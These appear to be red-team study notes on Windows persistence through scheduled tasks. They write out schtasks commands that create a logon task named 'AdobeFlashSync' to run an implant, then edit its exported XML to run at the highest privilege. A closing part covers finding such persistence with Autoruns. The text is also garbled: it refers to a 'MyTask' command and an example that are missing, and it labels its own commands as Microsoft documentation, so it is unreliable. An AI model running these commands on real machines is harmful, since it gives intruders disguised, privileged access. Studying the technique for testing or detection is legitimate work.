Scheduled tasks have been abused by ransomware for a long time and is another commonly used and simple persistence technique. Adversaries can create scheduled tasks that run at a specific time and day and execute arbitrary payloads.
run the following command to generate a new task called MyTask that is scheduled to run daily at 9:00am that will execute the empire.exe binary located in the C:\ root folder.
here is the official Microsoft documentation for schtask with various example commands:
schtasks /create /sc onlogon /tn AdobeFlashSync /tr "c:\rto\pers\implant\implant.exe"
schtasks /query /tn "AdobeFlashSync" /fo list
# take the configurations from an xml file
# export the task config
schtasks /query /tn AdobeFlashSync /xml > c:\RTO\PERS\tsk.xml
#under <principal> section add this tag:
<RunLevel>HighestAvailable</RunLevel>
# then remove the task and make a new one with the modified configuration
schtasks /delete /f /tn AdobeFlashSync
schtasks /create /tn AdobeFlashSync /xml c:\RTO\PERS\tsk.xml
# now the privilege level is local admin
Multi-action Tasks
By modifying the task configuration file, we can add additional actions to the scheduled task under <Actions> section.
for example we can execute a binary file by adding :
Microsoft has a Windows internals utility called Autoruns that shows you what programs are configured to run during system bootup or login. On the victim machine run the Autoruns64.exe as administrator.
Going to the Logon tab we can see the Run registry key that was added pointing to the empire.exe binary as well as the empire.exe binary that was dropped to the Startup folder.
Under the Scheduled Task tab I can see the MyTask that points to the empire.exe saved in the root C:\
